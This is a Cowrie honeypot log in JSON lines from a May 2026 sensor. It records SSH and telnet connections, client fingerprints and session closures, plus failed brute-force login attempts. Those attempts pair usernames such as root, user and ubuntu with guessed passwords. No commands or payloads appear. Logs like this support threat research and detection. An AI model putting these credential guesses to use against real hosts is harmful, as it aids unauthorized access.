{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:42.382477Z","src_ip":"2.57.121.25","session":"84578d65045e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:42.488722Z","src_ip":"2.57.121.25","session":"84578d65045e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14011979","message":"login attempt [user/14011979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:42.982037Z","src_ip":"2.57.121.25","session":"84578d65045e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":55946,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f669b117f3d","protocol":"ssh","message":"New connection: 123.58.209.58:55946 (159.203.135.109:22) [session: 7f669b117f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:43.088226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:43.093605Z","src_ip":"123.58.209.58","session":"7f669b117f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:43.308012Z","src_ip":"123.58.209.58","session":"7f669b117f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131286","message":"login attempt [user/131286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:44.090011Z","src_ip":"2.57.121.25","session":"84578d65045e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:44.191188Z","src_ip":"123.58.209.58","session":"7f669b117f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13121993","message":"login attempt [user/13121993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:45.198043Z","src_ip":"2.57.121.25","session":"84578d65045e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:45.406484Z","src_ip":"123.58.209.58","session":"7f669b117f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56684,"dst_ip":"159.203.135.109","dst_port":23,"session":"72d5c75d08bc","protocol":"telnet","message":"New connection: 69.4.83.194:56684 (159.203.135.109:23) [session: 72d5c75d08bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:46.293286Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"131191","message":"login attempt [user/131191] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:46.306139Z","src_ip":"2.57.121.25","session":"84578d65045e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131186","message":"login attempt [user/131186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:47.415061Z","src_ip":"2.57.121.25","session":"84578d65045e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:48.526023Z","src_ip":"2.57.121.25","session":"84578d65045e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.41791653633118,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:48.849496Z","src_ip":"69.4.83.194","session":"531e0da1037f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.3098783493042,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:51.744986Z","src_ip":"69.4.83.194","session":"1c8bf2ef2cfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":34472,"dst_ip":"159.203.135.109","dst_port":22,"session":"646216167d91","protocol":"ssh","message":"New connection: 77.94.47.83:34472 (159.203.135.109:22) [session: 646216167d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:53.516847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:53.521368Z","src_ip":"77.94.47.83","session":"646216167d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:53.635717Z","src_ip":"77.94.47.83","session":"646216167d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14041987","message":"login attempt [root/14041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:53.965348Z","src_ip":"77.94.47.83","session":"646216167d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:55.080359Z","src_ip":"77.94.47.83","session":"646216167d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.674336671829224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:04.687026Z","src_ip":"69.4.83.194","session":"5a1e1dd2605c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.99665713310242,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:08.387985Z","src_ip":"178.128.93.180","session":"05e9f078a2b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40653705596924,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:14.357669Z","src_ip":"69.4.83.194","session":"52b0782bc7ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":54728,"dst_ip":"10.17.0.5","dst_port":22,"session":"390f392aea3c","protocol":"ssh","message":"New connection: 182.191.77.164:54728 (10.17.0.5:22) [session: 390f392aea3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:15.835276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:15.840482Z","src_ip":"182.191.77.164","session":"390f392aea3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:16.064542Z","src_ip":"182.191.77.164","session":"390f392aea3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxsw2","message":"login attempt [ubuntu/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:16.991772Z","src_ip":"182.191.77.164","session":"390f392aea3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:18.218639Z","src_ip":"182.191.77.164","session":"390f392aea3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.38952660560608,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:18.682657Z","src_ip":"69.4.83.194","session":"72d5c75d08bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54086,"dst_ip":"159.203.135.109","dst_port":22,"session":"700755dd7a92","protocol":"ssh","message":"New connection: 103.153.68.219:54086 (159.203.135.109:22) [session: 700755dd7a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:24.538401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:24.542862Z","src_ip":"103.153.68.219","session":"700755dd7a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:24.787945Z","src_ip":"103.153.68.219","session":"700755dd7a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150388","message":"login attempt [root/150388] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:25.525063Z","src_ip":"103.153.68.219","session":"700755dd7a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:26.772934Z","src_ip":"103.153.68.219","session":"700755dd7a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":40492,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e271288281f","protocol":"telnet","message":"New connection: 178.128.93.180:40492 (10.17.0.5:23) [session: 0e271288281f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:30.096773Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":42286,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a853d37fe9","protocol":"telnet","message":"New connection: 178.128.93.180:42286 (10.17.0.5:23) [session: 96a853d37fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:33.311261Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":37068,"dst_ip":"159.203.135.109","dst_port":22,"session":"f62a6a1b436c","protocol":"ssh","message":"New connection: 103.25.47.94:37068 (159.203.135.109:22) [session: f62a6a1b436c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:45.374060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:45.379778Z","src_ip":"103.25.47.94","session":"f62a6a1b436c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:45.636778Z","src_ip":"103.25.47.94","session":"f62a6a1b436c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:46.655747Z","src_ip":"103.25.47.94","session":"f62a6a1b436c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:47.905187Z","src_ip":"103.25.47.94","session":"f62a6a1b436c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52866,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c166aad45a7","protocol":"telnet","message":"New connection: 69.4.83.194:52866 (159.203.135.109:23) [session: 3c166aad45a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:51.013039Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":46632,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a026ec2489","protocol":"ssh","message":"New connection: 89.108.118.91:46632 (159.203.135.109:22) [session: 70a026ec2489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:55.302784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:55.307663Z","src_ip":"89.108.118.91","session":"70a026ec2489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:55.440602Z","src_ip":"89.108.118.91","session":"70a026ec2489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eybdthcbntn","message":"login attempt [root/eybdthcbntn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:55.840236Z","src_ip":"89.108.118.91","session":"70a026ec2489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:49:56.973064Z","src_ip":"89.108.118.91","session":"70a026ec2489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":52098,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e7a9673cd5e","protocol":"ssh","message":"New connection: 20.160.86.7:52098 (10.17.0.5:22) [session: 0e7a9673cd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:04.863214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:04.878823Z","src_ip":"20.160.86.7","session":"0e7a9673cd5e","protocol":"ssh"}
